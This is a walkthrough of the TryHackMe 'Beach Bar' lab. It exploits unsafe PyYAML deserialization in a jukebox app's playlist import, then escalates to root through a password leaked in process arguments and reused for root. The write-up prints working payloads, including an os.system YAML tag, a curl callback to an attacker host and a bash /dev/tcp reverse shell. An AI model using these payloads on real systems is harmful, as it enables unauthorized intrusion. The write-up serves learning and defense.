M4cCrypt0
back to overview

TryHackMe Resort write-up

Room: "Beach Bar" · platform: TryHackMe · category: Boot2Root · difficulty: Easy · points: 60

Beach Bar

Briefing (context)

Beach Bar scenario: a jukebox web app where guests can submit song requests, with an import feature for playlists (YAML). Goal: user flag + root flag.

Recon

text
nmap -sC -sV <TARGET>

A full port scan (-p-) turned up nothing extra — no hidden services, no vhosts. All the action is on port 80.

Foothold

Vulnerability: unsafe YAML deserialization

The import functionality presumably used yaml.load() without SafeLoader, instead of yaml.safe_load(). That makes it possible, via the !!python/object/apply:<module>.<function> tag, to call an arbitrary Python function while parsing the file.

Confirming RCE (harmless command first):

yaml
playlist: !!python/object/apply:os.system ["mkdir test"]

The response returned {'playlist': 0} — exit code 0 = successful execution. The return value of os.system() confirmed command execution without me having to open a shell right away.

Confirming the network path with a curl callback (safer than trying a reverse shell directly):

yaml
playlist: !!python/object/apply:os.system ["curl http://<ATTACKBOX_IP>:8000/"]

The listener (nc -lvnp 8000) received an incoming HTTP GET request — confirming outbound connectivity before further steps.

Pitfall: dash vs bash

The first reverse-shell attempt failed silently (exit code 512 → divided by 256 = exit status 2), with no connection on the listener:

yaml
playlist: !!python/object/apply:os.system ["bash -i >& /dev/tcp/<IP>/4444 0>&1"]

Cause: os.system() internally calls /bin/sh -c "...". On Ubuntu /bin/sh is symlinked to dash, not bash. Dash doesn't know the /dev/tcp/ file-descriptor trick — that's bash-specific. So the command failed before bash even got involved.

Fix: explicitly force bash to interpret the inner command:

yaml
playlist: !!python/object/apply:os.system ['bash -c "bash -i >& /dev/tcp/<IP>/8000 0>&1"']

Worked immediately — reverse shell in as user bartender.

Stabilizing the shell

text
python3 -c 'import pty; pty.spawn("/bin/bash")'

Privilege Escalation

sudo -l asked for a password that wasn't known. Enumerating running processes gave the key:

text
ps aux | grep jukebox
text
root  ...  /opt/beach-bar/venv/bin/python /opt/beach-bar/jukeboxd/jukeboxd.py --stream-pass <PASSWORD> --bitrate 320k

Core problem: the jukeboxd daemon ran as root, with a password as a command-line argument. The command-line arguments of any process are visible to all local users via /proc/<pid>/cmdline or simply ps aux — this is not a secret, regardless of file permissions on a config file.

The leaked password turned out to be reused as root's own password:

text
su root
Password: <PASSWORD>

→ root shell, root.txt read.

Root cause summary

  1. Unsafe deserialization (yaml.load instead of safe_load) — user input straight into a parser that can execute code.
  2. Secrets in process arguments — never pass passwords as a CLI flag; use environment variables or a config file with restricted read permissions (chmod 600, owner-only).
  3. Password reuse between the service account and root — a leaked service password gave direct root access.

Lessons for my own homelab/DORA context